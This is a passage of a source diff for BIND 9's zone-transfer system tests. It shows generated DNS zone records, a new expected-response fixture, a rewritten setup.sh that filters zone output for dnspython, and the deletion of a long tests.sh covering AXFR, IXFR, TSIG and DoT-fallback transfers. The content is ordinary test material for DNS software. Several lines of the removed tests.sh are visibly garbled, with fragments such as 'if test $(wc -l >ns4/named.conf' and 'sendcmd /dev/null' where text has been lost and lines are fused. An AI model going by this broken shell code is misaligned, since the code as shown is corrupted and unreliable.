niJDBzC7w0aRyzWZriO6i2odGWWQVucZ qKVsENW91IOW4vqudngPZsY3GvQ/xVA8 /7pyFj6b7Esga60zyGW6LFe9r8n6paHr lG5ojqf0BaqHT+8= +example. 3600 IN NS ns2.example. +example. 3600 IN NS ns3.example. +a01.example. 3600 IN A 0.0.0.1 +a02.example. 3600 IN A 255.255.255.255 +a601.example. 3600 IN A6 \# 17 00ffffffffffffffffffffffffffffff ff +a601.example. 3600 IN A6 \# 14 40ffffffffffffffff03666f6f00 +a601.example. 3600 IN A6 \# 7 7f0103666f6f00 +a601.example. 3600 IN A6 \# 2 8000 +aaaa01.example. 3600 IN AAAA ::1 +aaaa02.example. 3600 IN AAAA fd92:7065:b8e:ffff::5 +afsdb01.example. 3600 IN AFSDB 0 hostname.example. +afsdb02.example. 3600 IN AFSDB 65535 . +amtrelay01.example. 3600 IN AMTRELAY 0 0 0 . +amtrelay02.example. 3600 IN AMTRELAY 0 1 0 . +amtrelay03.example. 3600 IN AMTRELAY 0 0 1 0.0.0.1 +amtrelay04.example. 3600 IN AMTRELAY 0 0 2 :: +amtrelay05.example. 3600 IN AMTRELAY 0 0 3 example.net. +apl01.example. 3600 IN APL !1:10.0.0.1/32 1:10.0.0.0/24 +atma01.example. 3600 IN TYPE34 \# 12 013631323030303030303030 +atma02.example. 3600 IN TYPE34 \# 12 013631323030303030303030 +atma03.example. 3600 IN TYPE34 \# 9 001234567890abcdef +atma04.example. 3600 IN TYPE34 \# 9 00fedcba0987654321 +avc.example. 3600 IN AVC "foo:bar" +caa01.example. 3600 IN CAA 0 issue "ca.example.net; policy=ev" +caa02.example. 3600 IN CAA 128 tbs "Unknown" +caa03.example. 3600 IN CAA 128 tbs "" +cdnskey01.example. 3600 IN CDNSKEY 512 255 1 AQMFD5raczCJHViKtLYhWGz8hMY9UGRu niJDBzC7w0aRyzWZriO6i2odGWWQVucZ qKVsENW91IOW4vqudngPZsY3GvQ/xVA8 /7pyFj6b7Esga60zyGW6LFe9r8n6paHr lG5ojqf0BaqHT+8= +cds01.example. 3600 IN CDS 30795 1 1 310d27f4d82c1fc2400704ea9939fe6e1ceaa3b9 +cert01.example. 3600 IN CERT 65534 65535 PRIVATEOID MxFcby9k/yvedMfQgKzhH5er0Mu/vILz 45IkskceFGgiWCn/GxHhai6VAuHAoNUz 4YoU1tVfSCSqQYn6//11U6Nld80jEeC8 aTrO+KKmCaY= +cname01.example. 3600 IN CNAME cname-target. +cname02.example. 3600 IN CNAME cname-target.example. +cname03.example. 3600 IN CNAME . +csync01.example. 3600 IN CSYNC 0 0 A NS AAAA +csync02.example. 3600 IN CSYNC 0 0 +dhcid01.example. 3600 IN DHCID AAIBY2/AuCccgoJbsaxcQc9TUapptP69 lOjxfNuVAA2kjEA= +dhcid02.example. 3600 IN DHCID AAEBOSD+XR3Os/0LozeXVqcNc7FwCfQd WL3b/NaiUDlW2No= +dhcid03.example. 3600 IN DHCID AAABxLmlskllE0MVjd57zHcWmEH3pCQ6 VytcKD//7es/deY= +dlv.example. 3600 IN DLV 30795 1 1 310d27f4d82c1fc2400704ea9939fe6e1ceaa3b9 +dname01.example. 3600 IN DNAME dname-target. +dname02.example. 3600 IN DNAME dname-target.example. +dname03.example. 3600 IN DNAME . +doa01.example. 3600 IN TYPE259 \# 301 499602d2499602d20109696d6167652f 67696647494638396128001900e30200 666666006699ffffff3399ccccffff99 ccff33669966ccff99cccccccccc0099 ffffffffffffffffffffffffffffffff 21f904010a000f002c00000000280019 000004c7f081492b95366b8df7ec5e68 8119299e8089ae5cbb3eb08aca1f1cdc 78008734f7e4c0db6ed3bbfc82481db1 a23a2693c554e94955962ea36ad54572 6a9352d70777380c6e8342e19c2b9b71 586cc72b109ceb78013a6fbf31e51739 750303838567850204697a7e7f52185e 01830575407848572918418675078202 a0412d3b92937d0479777da44b006ca1 b18c7a83484d12a7a8b137837504999b 73b948866b0189c8756b03c08e463549 947c6c95abcf7f36486a8805040541de 08b144da5fe71ebae74f11003b +doa02.example. 3600 IN TYPE259 \# 30 0000000000000001020068747470733a 2f2f7777772e6973632e6f72672f +ds01.example. 3600 IN DS 12892 5 2 26584835ca80c81c91999f31cfaf2a0e89d4ff1c8fafd0ddb31a85c719277c13 +ds01.example. 3600 IN NS ns42.example. +ds02.example. 3600 IN DS 12892 5 1 7aa4a3f416c2f2391fb7ab0d434f762cd62d1390 +ds02.example. 3600 IN NS ns43.example. +eid01.example. 3600 IN TYPE31 \# 3 1289ab +eui48.example. 3600 IN EUI48 01-23-45-67-89-ab +eui64.example. 3600 IN EUI64 01-23-45-67-89-ab-cd-ef +gid01.example. 3600 IN TYPE102 \# 1 03 +gpos01.example. 3600 IN GPOS -22.6882 116.8652 250.0 +hinfo01.example. 3600 IN HINFO "Generic PC clone" "NetBSD-1.4" +hinfo02.example. 3600 IN HINFO "PC" "NetBSD" +hip1.example. 3600 IN HIP 2 200100107b1a74df365639cc39f1d578 AwEAAbdxyhNuSutc5EMzxTs9LBPCIkOFH8cIvM4p9+LrV4e19WzK00+CI6zBCQTdtWsuxKbWIy87UOoJTwkUs7lBu+Upr1gsNrut79ryra+bSRGQb1slImA8YVJyuIDsj7kwzG7jnERNqnWxZ48AWkskmdHaVDP4BcelrTI3rMXdXF5D +hip2.example. 3600 IN HIP 2 200100107b1a74df365639cc39f1d578 AwEAAbdxyhNuSutc5EMzxTs9LBPCIkOFH8cIvM4p9+LrV4e19WzK00+CI6zBCQTdtWsuxKbWIy87UOoJTwkUs7lBu+Upr1gsNrut79ryra+bSRGQb1slImA8YVJyuIDsj7kwzG7jnERNqnWxZ48AWkskmdHaVDP4BcelrTI3rMXdXF5D rvs.example.com. +https0.example. 3600 IN HTTPS 0 example.net. +https1.example. 3600 IN HTTPS 1 . port="60" +ipseckey01.example. 3600 IN IPSECKEY 10 1 2 192.0.2.38 AQNRU3mG7TVTO2BkR47usntb102uFJtu gbo6BSGvgqt4AQ== +ipseckey02.example. 3600 IN IPSECKEY 10 0 2 . AQNRU3mG7TVTO2BkR47usntb102uFJtu gbo6BSGvgqt4AQ== +ipseckey03.example. 3600 IN IPSECKEY 10 1 2 192.0.2.3 AQNRU3mG7TVTO2BkR47usntb102uFJtu gbo6BSGvgqt4AQ== +ipseckey04.example. 3600 IN IPSECKEY 10 3 2 mygateway.example.com. AQNRU3mG7TVTO2BkR47usntb102uFJtu gbo6BSGvgqt4AQ== +ipseckey05.example. 3600 IN IPSECKEY 10 2 2 2001:db8:0:8002::2000:1 AQNRU3mG7TVTO2BkR47usntb102uFJtu gbo6BSGvgqt4AQ== +isdn01.example. 3600 IN ISDN "isdn-address" +isdn02.example. 3600 IN ISDN "isdn-address" "subaddress" +isdn03.example. 3600 IN ISDN "isdn-address" +isdn04.example. 3600 IN ISDN "isdn-address" "subaddress" +keydata.example. 3600 IN TYPE65533 \# 0 +keydata.example. 3600 IN TYPE65533 \# 6 010203040506 +keydata.example. 3600 IN TYPE65533 \# 18 01020304050601020304050601020304 0506 +kx01.example. 3600 IN KX 10 kdc.example. +kx02.example. 3600 IN KX 10 . +l32.example. 3600 IN L32 10 1.2.3.4 +l64.example. 3600 IN L64 10 0014:4fff:ff20:ee64 +loc01.example. 3600 IN LOC 60 9 0.000 N 24 39 0.000 E 10.00m 20.00m 2000.00m 20.00m +loc02.example. 3600 IN LOC 60 9 0.000 N 24 39 0.000 E 10.00m 20.00m 2000.00m 20.00m +lp.example. 3600 IN LP 10 example.net. +mb01.example. 3600 IN MG \# 10 076d61646e616d65c00c +mb02.example. 3600 IN MG \# 1 00 +mg01.example. 3600 IN MG \# 10 076d676d6e616d65c00c +mg02.example. 3600 IN MG \# 1 00 +minfo01.example. 3600 IN MINFO \# 20 07726d61696c6278c00c07656d61696c 6278c00c +minfo02.example. 3600 IN MINFO \# 2 0000 +mr01.example. 3600 IN MR \# 9 066d726e616d65c00c +mr02.example. 3600 IN MR \# 1 00 +mx01.example. 3600 IN MX 10 mail.example. +mx02.example. 3600 IN MX 10 . +naptr01.example. 3600 IN NAPTR 0 0 "" "" "" . +naptr02.example. 3600 IN NAPTR 65535 65535 "blurgh" "blorf" "blllbb" foo. +nid.example. 3600 IN NID 10 0014:4fff:ff20:ee64 +nimloc01.example. 3600 IN TYPE32 \# 3 1289ab +ninfo01.example. 3600 IN NINFO "foo" +ninfo02.example. 3600 IN NINFO "foo" "bar" +ninfo03.example. 3600 IN NINFO "foo" +ninfo04.example. 3600 IN NINFO "foo" "bar" +ninfo05.example. 3600 IN NINFO "foo bar" +ninfo06.example. 3600 IN NINFO "foo bar" +ninfo07.example. 3600 IN NINFO "foo bar" +ninfo08.example. 3600 IN NINFO "foo\010bar" +ninfo09.example. 3600 IN NINFO "foo\010bar" +ninfo10.example. 3600 IN NINFO "foo bar" +ninfo11.example. 3600 IN NINFO "\"foo\"" +ninfo12.example. 3600 IN NINFO "\"foo\"" +ninfo13.example. 3600 IN NINFO "foo;" +ninfo14.example. 3600 IN NINFO "foo;" +ninfo15.example. 3600 IN NINFO "bar\\;" +ns2.example. 3600 IN A 10.53.0.2 +ns3.example. 3600 IN A 10.53.0.3 +nsap-ptr01.example. 3600 IN NSAP-PTR . +nsap-ptr01.example. 3600 IN NSAP-PTR foo. +nsap01.example. 3600 IN NSAP 0x47000580005a0000000001e133ffffff00016100 +nsap02.example. 3600 IN NSAP 0x47000580005a0000000001e133ffffff00016100 +nsec01.example. 3600 IN NSEC a.secure.nil. NS SOA MX LOC RRSIG NSEC DNSKEY +nsec02.example. 3600 IN NSEC . NSAP-PTR NSEC +nsec03.example. 3600 IN NSEC . A +nsec04.example. 3600 IN NSEC . TYPE127 +openpgpkey.example. 3600 IN OPENPGPKEY AQMFD5raczCJHViKtLYhWGz8hMY9UGRuniJDBzC7w0aRyzWZriO6i2odGWWQVucZqKVsENW91IOW4vqudngPZsY3GvQ/xVA8/7pyFj6b7Esga60zyGW6LFe9r8n6paHrlG5ojqf0BaqHT+8= +ptr01.example. 3600 IN PTR example. +px01.example. 3600 IN PX 65535 foo. bar. +px02.example. 3600 IN PX 65535 . . +rkey01.example. 3600 IN TYPE57 \# 111 0000ff010103050f9ada7330891d588a b4b621586cfc84c63d50646e9e224307 30bbc34691cb3599ae23ba8b6a1d1965 9056e719a8a56c10d5bdd48396e2faae 76780f66c6371af43fc5503cffba7216 3e9bec4b206bad33c865ba2c57bdafc9 faa5a1eb946e688ea7f405aa874fef +rp01.example. 3600 IN RP mbox-dname.example. txt-dname.example. +rp02.example. 3600 IN RP . . +rrsig01.example. 3600 IN RRSIG NSEC 1 3 3600 20000102030405 19961211100908 2143 foo.nil. MxFcby9k/yvedMfQgKzhH5er0Mu/vILz 45IkskceFGgiWCn/GxHhai6VAuHAoNUz 4YoU1tVfSCSqQYn6//11U6Nld80jEeC8 aTrO+KKmCaY= +rt01.example. 3600 IN RT 0 intermediate-host.example. +rt02.example. 3600 IN RT 65535 . +sink01.example. 3600 IN TYPE40 \# 3 010000 +sink02.example. 3600 IN TYPE40 \# 6 0800029788a4 +smimea.example. 3600 IN SMIMEA 1 1 2 92003ba34942dc74152e2f2c408d29eca5a520e7f2e06bb944f4dca346baf63c1b177615d466f6c4b71c216a50292bd58c9ebdd2f74e38fe51ffd48c43326cbc +spf01.example. 3600 IN SPF "v=spf1 -all" +spf02.example. 3600 IN SPF "v=spf1" " -all" +srv01.example. 3600 IN SRV 0 0 0 . +srv02.example. 3600 IN SRV 65535 65535 65535 old-slow-box.example. +sshfp01.example. 3600 IN SSHFP 4 2 c76d8329954da2835751e371544e963efda099080d6c58dd2bfd9a316e162c83 +sshfp02.example. 3600 IN SSHFP 1 2 bf29468c83ac58ccf8c85ab7b3beb054ecf1e38512b8353ab36471fa88961dcc +svcb0.example. 3600 IN SVCB 0 example.net. +svcb1.example. 3600 IN SVCB 1 . port="60" +ta.example. 3600 IN TA \# 24 784b0101310d27f4d82c1fc2400704ea 9939fe6e1ceaa3b9 +talink0.example. 3600 IN TYPE58 \# 18 000774616c696e6b31076578616d706c 6500 +talink1.example. 3600 IN TYPE58 \# 34 0774616c696e6b30076578616d706c65 000774616c696e6b32076578616d706c 6500 +talink2.example. 3600 IN TYPE58 \# 18 0774616c696e6b32076578616d706c65 0000 +tlsa.example. 3600 IN TLSA 1 1 2 92003ba34942dc74152e2f2c408d29eca5a520e7f2e06bb944f4dca346baf63c1b177615d466f6c4b71c216a50292bd58c9ebdd2f74e38fe51ffd48c43326cbc +txt01.example. 3600 IN TXT "foo" +txt02.example. 3600 IN TXT "foo" "bar" +txt03.example. 3600 IN TXT "foo" +txt04.example. 3600 IN TXT "foo" "bar" +txt05.example. 3600 IN TXT "foo bar" +txt06.example. 3600 IN TXT "foo bar" +txt07.example. 3600 IN TXT "foo bar" +txt08.example. 3600 IN TXT "foo\010bar" +txt09.example. 3600 IN TXT "foo\010bar" +txt10.example. 3600 IN TXT "foo bar" +txt11.example. 3600 IN TXT "\"foo\"" +txt12.example. 3600 IN TXT "\"foo\"" +txt13.example. 3600 IN TXT "foo;" +txt14.example. 3600 IN TXT "foo;" +txt15.example. 3600 IN TXT "bar\\;" +uid01.example. 3600 IN TYPE101 \# 1 02 +uinfo01.example. 3600 IN TYPE100 \# 1 01 +unspec01.example. 3600 IN UNSPEC \# 1 04 +uri01.example. 3600 IN URI 10 20 "https://www.isc.org/" +uri02.example. 3600 IN URI 30 40 "https://www.isc.org/HolyCowThisSureIsAVeryLongURIRecordIDontEvenKnowWhatSomeoneWouldEverWantWithSuchAThingButTheSpecificationRequiresThatWesupportItSoHereWeGoTestingItLaLaLaLaLaLaLaSeriouslyThoughWhyWouldYouEvenConsiderUsingAURIThisLongItSeemsLikeASillyIdeaButEnhWhatAreYouGonnaDo/" +wks01.example. 3600 IN WKS 10.0.0.1 6 0 1 2 21 23 +wks02.example. 3600 IN WKS 10.0.0.1 17 0 1 2 53 +wks03.example. 3600 IN WKS 10.0.0.2 6 65535 +x2501.example. 3600 IN X25 "123456789" +zonemd01.example. 3600 IN ZONEMD 2019020700 1 1 c220b8a6ed5728a971902f7e3d4fd93adeea88b0453c2e8e8c863d465ab06cf34eb95b266398c98b59124fa239cb7eeb +zonemd02.example. 3600 IN ZONEMD 2019020700 1 2 08cfa1115c7b948c4163a901270395ea226a930cd2cbcf2fa9a5e6eb85f37c8a4e114d884e66f176eab121cb02db7d652e0cc4827e7a3204f166b47e5613fd27 +8f1tmio9avcom2k0frp92lgcumak0cad.example. 3600 IN NSEC3 1 0 10 d2cf0294c020ce6c 8fpns2uct7fbs643thp2b77peq77k6iu A NS SOA MX AAAA RRSIG DNSKEY NSEC3PARAM +kcd3juae64f9c5csl1kif1htaui7un0g.example. 3600 IN NSEC3 1 0 10 d2cf0294c020ce6c kd5mn2m20340dgo0bl7ntsb8jp4bsc7e +mr5ukvsk1l37btu4q7b1dfevft4hkqdk.example. 3600 IN NSEC3 1 0 10 d2cf0294c020ce6c mt38j6vg7s0sn5g17mcuf6iqikfuaj05 A AAAA RRSIG diff -Nru bind9-9.20.18/bin/tests/system/xfer/response3.good bind9-9.20.21/bin/tests/system/xfer/response3.good --- bind9-9.20.18/bin/tests/system/xfer/response3.good 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/xfer/response3.good 2026-03-13 22:01:10.771875110 +0000 @@ -0,0 +1,7 @@ +;ANSWER +dot-fallback. 5 IN SOA ns1.dot-fallback. hostmaster.dot-fallback. 1 3600 3600 3600 3600 +dot-fallback. 5 IN NS ns1.dot-fallback. +a01.dot-fallback. 5 IN A 1.1.1.1 +a02.dot-fallback. 5 IN A 255.255.255.255 +ns1.dot-fallback. 5 IN A 10.53.0.1 +dot-fallback. 5 IN SOA ns1.dot-fallback. hostmaster.dot-fallback. 1 3600 3600 3600 3600 diff -Nru bind9-9.20.18/bin/tests/system/xfer/setup.sh bind9-9.20.21/bin/tests/system/xfer/setup.sh --- bind9-9.20.18/bin/tests/system/xfer/setup.sh 2026-01-09 13:39:28.223975917 +0000 +++ bind9-9.20.21/bin/tests/system/xfer/setup.sh 2026-03-13 22:01:10.771875110 +0000 @@ -13,24 +13,33 @@ . ../conf.sh -$SHELL ${TOP_SRCDIR}/bin/tests/system/genzone.sh 1 6 7 >ns1/sec.db -$SHELL ${TOP_SRCDIR}/bin/tests/system/genzone.sh 1 6 7 >ns1/edns-expire.db -$SHELL ${TOP_SRCDIR}/bin/tests/system/genzone.sh 2 3 >ns2/example.db -$SHELL ${TOP_SRCDIR}/bin/tests/system/genzone.sh 2 3 >ns2/tsigzone.db -$SHELL ${TOP_SRCDIR}/bin/tests/system/genzone.sh 6 3 >ns6/primary.db -$SHELL ${TOP_SRCDIR}/bin/tests/system/genzone.sh 7 >ns7/primary2.db +dnspython_genzone() ( + servers="$@" + # Drop unusual RR sets and RR types (AMTRELAY, GPOS, URI, apl02) dnspython + # can't handle. For more information see + # https://github.com/rthalley/dnspython/issues/1034#issuecomment-1896541899. + # - BRID and HHIT are not supported by dnspython at all. + # - dnspython v2.8.0 adds support for DSYNC RR type + # - dnspython v2.7.0 adds support for RESINFO and WALLET RR types + $SHELL "${TOP_SRCDIR}/bin/tests/system/genzone.sh" $servers \ + | sed \ + -e '/AMTRELAY.*\# 2 0004/d' \ + -e '/BRID/d' \ + -e '/DSYNC/d' \ + -e '/GPOS.*"" "" ""/d' \ + -e '/HHIT/d' \ + -e '/RESINFO/d' \ + -e '/URI.*30 40 ""/d' \ + -e '/WALLET/d' \ + -e '/apl02/d' \ + | tr "\t" " " +) + +dnspython_genzone 1 6 7 >ns1/sec.db +dnspython_genzone 1 6 7 >ns1/edns-expire.db +dnspython_genzone 2 3 >ns2/example.db +dnspython_genzone 2 3 >ns2/tsigzone.db +dnspython_genzone 6 3 >ns6/primary.db +dnspython_genzone 7 >ns7/primary2.db -cp -f ns4/root.db.in ns4/root.db -$PERL -e 'for ($i=0;$i<10000;$i++){ printf("x%u 0 in a 10.53.0.1\n", $i);}' >>ns4/root.db - -cp ns1/dot-fallback.db.in ns1/dot-fallback.db - -cp ns2/sec.db.in ns2/sec.db touch -t 200101010000 ns2/sec.db - -cp ns2/mapped.db.in ns2/mapped.db - -$PERL -e 'for ($i=0;$i<4096;$i++){ printf("name%u 259200 A 1.2.3.4\nname%u 259200 TXT \"Hello World %u\"\n", $i, $i, $i);}' >ns8/small.db -$PERL -e 'printf("large IN TYPE45234 \\# 48000 "); for ($i=0;$i<16*3000;$i++) { printf("%02x", $i % 256); } printf("\n");' >ns8/large.db - -cp -f ns1/ixfr-too-big.db.in ns1/ixfr-too-big.db diff -Nru bind9-9.20.18/bin/tests/system/xfer/tests.sh bind9-9.20.21/bin/tests/system/xfer/tests.sh --- bind9-9.20.18/bin/tests/system/xfer/tests.sh 2026-01-09 13:39:28.223975917 +0000 +++ bind9-9.20.21/bin/tests/system/xfer/tests.sh 1970-01-01 00:00:00.000000000 +0000 @@ -1,785 +0,0 @@ -#!/bin/sh - -# Copyright (C) Internet Systems Consortium, Inc. ("ISC") -# -# SPDX-License-Identifier: MPL-2.0 -# -# This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this -# file, you can obtain one at https://mozilla.org/MPL/2.0/. -# -# See the COPYRIGHT file distributed with this work for additional -# information regarding copyright ownership. - -set -e - -. ../conf.sh - -DIGOPTS="+tcp +noadd +nosea +nostat +noquest +nocomm +nocmd -p ${PORT}" -RNDCCMD="$RNDC -c ../_common/rndc.conf -p ${CONTROLPORT} -s" -NS_PARAMS="-m record -c named.conf -d 99 -g -T maxcachesize=2097152" - -dig_with_opts() ( - "$DIG" -p "$PORT" "$@" -) - -status=0 -n=0 - -n=$((n + 1)) -echo_i "testing basic zone transfer functionality (from primary) ($n)" -tmp=0 -$DIG $DIGOPTS example. @10.53.0.2 axfr >dig.out.ns2.test$n || tmp=1 -grep "^;" dig.out.ns2.test$n | cat_i -digcomp dig1.good dig.out.ns2.test$n || tmp=1 -if test $tmp != 0; then echo_i "failed"; fi -status=$((status + tmp)) - -n=$((n + 1)) -echo_i "testing basic zone transfer functionality (from secondary) ($n)" -tmp=0 -# -# Spin to allow the zone to transfer. -# -wait_for_xfer() { - ZONE=$1 - SERVER=$2 - $DIG $DIGOPTS $ZONE @$SERVER axfr >dig.out.test$n || return 1 - grep "^;" dig.out.test$n >/dev/null && return 1 - return 0 -} -retry_quiet 25 wait_for_xfer example. 10.53.0.3 || tmp=1 -grep "^;" dig.out.test$n | cat_i -digcomp dig1.good dig.out.test$n || tmp=1 -if test $tmp != 0; then echo_i "failed"; fi -status=$((status + tmp)) - -n=$((n + 1)) -echo_i "testing zone transfer functionality (fallback to DNS after DoT failed) ($n)" -tmp=0 -retry_quiet 25 wait_for_xfer dot-fallback. 10.53.0.2 || tmp=1 -grep "^;" dig.out.test$n | cat_i -digcomp dig3.good dig.out.test$n || tmp=1 -if test $tmp != 0; then echo_i "failed"; fi -status=$((status + tmp)) - -n=$((n + 1)) -echo_i "testing TSIG signed zone transfers ($n)" -tmp=0 -$DIG $DIGOPTS tsigzone. @10.53.0.2 axfr -y "${DEFAULT_HMAC}:tsigzone.:1234abcd8765" >dig.out.ns2.test$n || tmp=1 -grep "^;" dig.out.ns2.test$n | cat_i - -# -# Spin to allow the zone to transfer. -# -wait_for_xfer_tsig() { - $DIG $DIGOPTS tsigzone. @10.53.0.3 axfr -y "${DEFAULT_HMAC}:tsigzone.:1234abcd8765" >dig.out.ns3.test$n || return 1 - grep "^;" dig.out.ns3.test$n >/dev/null && return 1 - return 0 -} -retry_quiet 25 wait_for_xfer_tsig || tmp=1 -grep "^;" dig.out.ns3.test$n | cat_i -digcomp dig.out.ns2.test$n dig.out.ns3.test$n || tmp=1 -if test $tmp != 0; then echo_i "failed"; fi -status=$((status + tmp)) - -echo_i "reload servers for in preparation for ixfr-from-differences tests" - -rndc_reload ns1 10.53.0.1 -rndc_reload ns2 10.53.0.2 -rndc_reload ns3 10.53.0.3 -rndc_reload ns6 10.53.0.6 -rndc_reload ns7 10.53.0.7 - -sleep 2 - -echo_i "updating primary zones for ixfr-from-differences tests" - -$PERL -i -p -e ' - s/0\.0\.0\.0/0.0.0.1/; - s/1397051952/1397051953/ -' ns1/sec.db - -rndc_reload ns1 10.53.0.1 - -$PERL -i -p -e ' - s/0\.0\.0\.0/0.0.0.1/; - s/1397051952/1397051953/ -' ns2/example.db - -rndc_reload ns2 10.53.0.2 - -$PERL -i -p -e ' - s/0\.0\.0\.0/0.0.0.1/; - s/1397051952/1397051953/ -' ns6/primary.db - -rndc_reload ns6 10.53.0.6 - -$PERL -i -p -e ' - s/0\.0\.0\.0/0.0.0.1/; - s/1397051952/1397051953/ -' ns7/primary2.db - -rndc_reload ns7 10.53.0.7 - -sleep 3 - -n=$((n + 1)) -echo_i "testing zone is dumped after successful transfer ($n)" -tmp=0 -$DIG $DIGOPTS +noall +answer +multi @10.53.0.2 \ - secondary. soa >dig.out.ns2.test$n || tmp=1 -grep "1397051952 ; serial" dig.out.ns2.test$n >/dev/null 2>&1 || tmp=1 -grep "1397051952 ; serial" ns2/sec.db >/dev/null 2>&1 || tmp=1 -if test $tmp != 0; then echo_i "failed"; fi -status=$((status + tmp)) - -n=$((n + 1)) -echo_i "testing ixfr-from-differences yes; ($n)" -tmp=0 - -echo_i "wait for reloads..." -wait_for_reloads() ( - $DIG $DIGOPTS @10.53.0.6 +noall +answer soa primary >dig.out.soa1.ns6.test$n - grep "1397051953" dig.out.soa1.ns6.test$n >/dev/null || return 1 - $DIG $DIGOPTS @10.53.0.1 +noall +answer soa secondary >dig.out.soa2.ns1.test$n - grep "1397051953" dig.out.soa2.ns1.test$n >/dev/null || return 1 - $DIG $DIGOPTS @10.53.0.2 +noall +answer soa example >dig.out.soa3.ns2.test$n - grep "1397051953" dig.out.soa3.ns2.test$n >/dev/null || return 1 - return 0 -) -retry_quiet 20 wait_for_reloads || tmp=1 - -echo_i "wait for transfers..." -wait_for_transfers() ( - a=0 b=0 c=0 d=0 - $DIG $DIGOPTS @10.53.0.3 +noall +answer soa example >dig.out.soa1.ns3.test$n - grep "1397051953" dig.out.soa1.ns3.test$n >/dev/null && a=1 - $DIG $DIGOPTS @10.53.0.3 +noall +answer soa primary >dig.out.soa2.ns3.test$n - grep "1397051953" dig.out.soa2.ns3.test$n >/dev/null && b=1 - $DIG $DIGOPTS @10.53.0.6 +noall +answer soa secondary >dig.out.soa3.ns6.test$n - grep "1397051953" dig.out.soa3.ns6.test$n >/dev/null && c=1 - [ $a -eq 1 -a $b -eq 1 -a $c -eq 1 ] && return 0 - - # re-notify if necessary - $RNDCCMD 10.53.0.6 notify primary 2>&1 | sed 's/^/ns6 /' | cat_i - $RNDCCMD 10.53.0.1 notify secondary 2>&1 | sed 's/^/ns1 /' | cat_i - $RNDCCMD 10.53.0.2 notify example 2>&1 | sed 's/^/ns2 /' | cat_i - return 1 -) -retry_quiet 20 wait_for_transfers || tmp=1 - -$DIG $DIGOPTS example. \ - @10.53.0.3 axfr >dig.out.ns3.test$n || tmp=1 -grep "^;" dig.out.ns3.test$n | cat_i - -digcomp dig2.good dig.out.ns3.test$n || tmp=1 - -# ns3 has a journal iff it received an IXFR. -test -f ns3/example.bk || tmp=1 -test -f ns3/example.bk.jnl || tmp=1 - -if test $tmp != 0; then echo_i "failed"; fi -status=$((status + tmp)) - -n=$((n + 1)) -echo_i "testing ixfr-from-differences primary; (primary zone) ($n)" -tmp=0 - -$DIG $DIGOPTS primary. \ - @10.53.0.6 axfr >dig.out.ns6.test$n || tmp=1 -grep "^;" dig.out.ns6.test$n | cat_i - -$DIG $DIGOPTS primary. \ - @10.53.0.3 axfr >dig.out.ns3.test$n || tmp=1 -grep "^;" dig.out.ns3.test$n >/dev/null && cat_i dig.out.ns6.test$n || tmp=1 -grep "^;" dig.out.ns6.test$n | cat_i - -$DIG $DIGOPTS secondary. \ - @10.53.0.1 axfr >dig.out.ns1.test$n || tmp=1 -grep "^;" dig.out.ns1.test$n | cat_i - -digcomp dig.out.ns6.test$n dig.out.ns1.test$n || tmp=1 - -# ns6 has a journal iff it received an IXFR. -test -f ns6/sec.bk || tmp=1 -test -f ns6/sec.bk.jnl && tmp=1 - -if test $tmp != 0; then echo_i "failed"; fi -status=$((status + tmp)) - -n=$((n + 1)) -echo_i "testing ixfr-from-differences secondary; (secondary zone) ($n)" -tmp=0 - -# ns7 has a journal iff it generates an IXFR. -test -f ns7/primary2.db || tmp=1 -test -f ns7/primary2.db.jnl && tmp=1 - -if test $tmp != 0; then echo_i "failed"; fi -status=$((status + tmp)) - -n=$((n + 1)) -echo_i "testing ixfr-from-differences secondary; (secondary zone) ($n)" -tmp=0 - -$DIG $DIGOPTS secondary. \ - @10.53.0.1 axfr >dig.out.ns1.test$n || tmp=1 -grep "^;" dig.out.ns1.test$n | cat_i - -$DIG $DIGOPTS secondary. \ - @10.53.0.7 axfr >dig.out.ns7.test$n || tmp=1 -grep "^;" dig.out.ns7.test$n | cat_i - -digcomp dig.out.ns7.test$n dig.out.ns1.test$n || tmp=1 - -# ns7 has a journal iff it generates an IXFR. -test -f ns7/sec.bk || tmp=1 -test -f ns7/sec.bk.jnl || tmp=1 - -if test $tmp != 0; then echo_i "failed"; fi -status=$((status + tmp)) - -n=$((n + 1)) -echo_i "check that a multi-message uncompressable zone transfers ($n)" -$DIG axfr . -p ${PORT} @10.53.0.4 | grep SOA >axfr.out || tmp=1 -if test $(wc -l >ns4/named.conf -zone "nil" { - type secondary; - file "nil.db"; - primaries { 10.53.0.5 key tsig_key; }; -}; -EOF - -nextpart ns4/named.run >/dev/null - -rndc_reload ns4 10.53.0.4 - -wait_for_soa() ( - $DIGCMD nil. SOA >dig.out.ns4.test$n - grep SOA dig.out.ns4.test$n >/dev/null -) -retry_quiet 10 wait_for_soa - -nextpart ns4/named.run | grep "Transfer status: success" >/dev/null || { - echo_i "failed: expected status was not logged" - status=$((status + 1)) -} - -$DIGCMD nil. TXT | grep 'initial AXFR' >/dev/null || { - echo_i "failed" - status=$((status + 1)) -} - -n=$((n + 1)) -echo_i "handle IXFR NOTIMP ($n)" - -sendcmd /dev/null || { - echo_i "failed: expected status was not logged" - status=$((status + 1)) -} - -$DIGCMD nil. TXT | grep 'IXFR NOTIMP' >/dev/null || { - echo_i "failed" - status=$((status + 1)) -} - -n=$((n + 1)) -echo_i "unsigned transfer ($n)" - -sendcmd /dev/null || { - echo_i "failed: expected status was not logged" - status=$((status + 1)) -} - -$DIGCMD nil. TXT | grep 'unsigned AXFR' >/dev/null && { - echo_i "failed" - status=$((status + 1)) -} - -n=$((n + 1)) -echo_i "bad keydata ($n)" - -sendcmd /dev/null || { - echo_i "failed: expected status was not logged" - status=$((status + 1)) -} - -$DIGCMD nil. TXT | grep 'bad keydata AXFR' >/dev/null && { - echo_i "failed" - status=$((status + 1)) -} - -n=$((n + 1)) -echo_i "partially-signed transfer ($n)" - -sendcmd /dev/null || { - echo_i "failed: expected status was not logged" - status=$((status + 1)) -} - -$DIGCMD nil. TXT | grep 'partially signed AXFR' >/dev/null && { - echo_i "failed" - status=$((status + 1)) -} - -n=$((n + 1)) -echo_i "unknown key ($n)" - -sendcmd /dev/null || { - echo_i "failed: expected status was not logged" - status=$((status + 1)) -} - -$DIGCMD nil. TXT | grep 'unknown key AXFR' >/dev/null && { - echo_i "failed" - status=$((status + 1)) -} - -n=$((n + 1)) -echo_i "incorrect key ($n)" - -sendcmd /dev/null || { - echo_i "failed: expected status was not logged" - status=$((status + 1)) -} - -$DIGCMD nil. TXT | grep 'incorrect key AXFR' >/dev/null && { - echo_i "failed" - status=$((status + 1)) -} - -n=$((n + 1)) -echo_i "bad question section ($n)" - 